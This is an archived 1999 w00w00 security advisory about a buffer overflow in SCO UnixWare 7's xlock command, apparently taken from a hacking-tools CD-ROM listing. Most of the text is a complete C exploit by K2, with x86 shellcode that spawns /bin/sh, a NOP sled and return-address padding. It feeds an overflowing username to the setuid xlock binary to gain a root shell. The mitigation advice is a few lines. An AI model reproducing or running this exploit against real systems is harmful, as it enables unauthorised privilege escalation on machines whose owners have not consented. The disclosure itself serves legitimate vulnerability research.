home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / advisories / xlock.txt < prev    next >
Encoding:
Text File  |  1999-11-26  |  2.1 KB  |  71 lines

  1. Subject: [w00giving '99] UnixWare 7's xlock
  2.  
  3. w00w00 Security Development (WSD)
  4. http://www.w00w00.org/advisories.html
  5.  
  6. Discovered by: K2 (ktwo@ktwo.ca)
  7.  
  8. The xlock command on SCO's UnixWare 7 has improper bounds checking on the
  9. username passed (via argv[1]), which can cause a buffer overflow when
  10. a lengthy username is passed.
  11.  
  12. -----------------------------------------------------------------------------
  13. Exploit (by K2):
  14.  
  15. // UnixWare7 /usr/bin/xlock local, K2, revisited Oct-30-1999
  16. #include <unistd.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20.  
  21. char shell[] =
  22.  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
  23.  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
  24.  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
  25.  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
  26.  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
  27.  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
  28.  
  29. #define SIZE 1200
  30. #define NOPDEF 601
  31. #define DEFOFF -400
  32.  
  33. const char x86_nop=0x90;
  34. long nop=NOPDEF,esp;
  35. long offset=DEFOFF;
  36. char buffer[SIZE];
  37.  
  38. long get_esp() { __asm__("movl %esp,%eax"); }
  39.  
  40. int main (int argc, char *argv[]) 
  41. {
  42.     register int i;
  43.  
  44.     if (argc > 1) offset += strtol(argv[1], NULL, 0);
  45.     if (argc > 2) nop += strtoul(argv[2], NULL, 0);
  46.     esp = get_esp();
  47.  
  48.     memset(buffer, x86_nop, SIZE);
  49.     memcpy(buffer+nop, shell, strlen(shell));
  50.  
  51.     for (i = nop+strlen(shell); i < SIZE-4; i += 4)
  52.         *((int *) &buffer[i]) = esp+offset;
  53.  
  54.     printf("jmp = [0x%x]\toffset = [%d]\n",esp+offset,offset);
  55.     execl("/usr/X/bin/xlock", "xlock", "-name", buffer, NULL);
  56.  
  57.     printf("exec failed!\n");
  58.     return 0;
  59. }
  60.  
  61. -----------------------------------------------------------------------------
  62. Patch:
  63.  
  64. As stated in the previous advisory, wait for SCO to release a patch. 
  65. Because of the /var/sadm permissions vulnerability we published earlier
  66. hasn't been fixed yet, be sure you take off suid privileges on the backed
  67. up binary! =)
  68. -----------------------------------------------------------------------------
  69.  
  70. Hellos to the usuals
  71.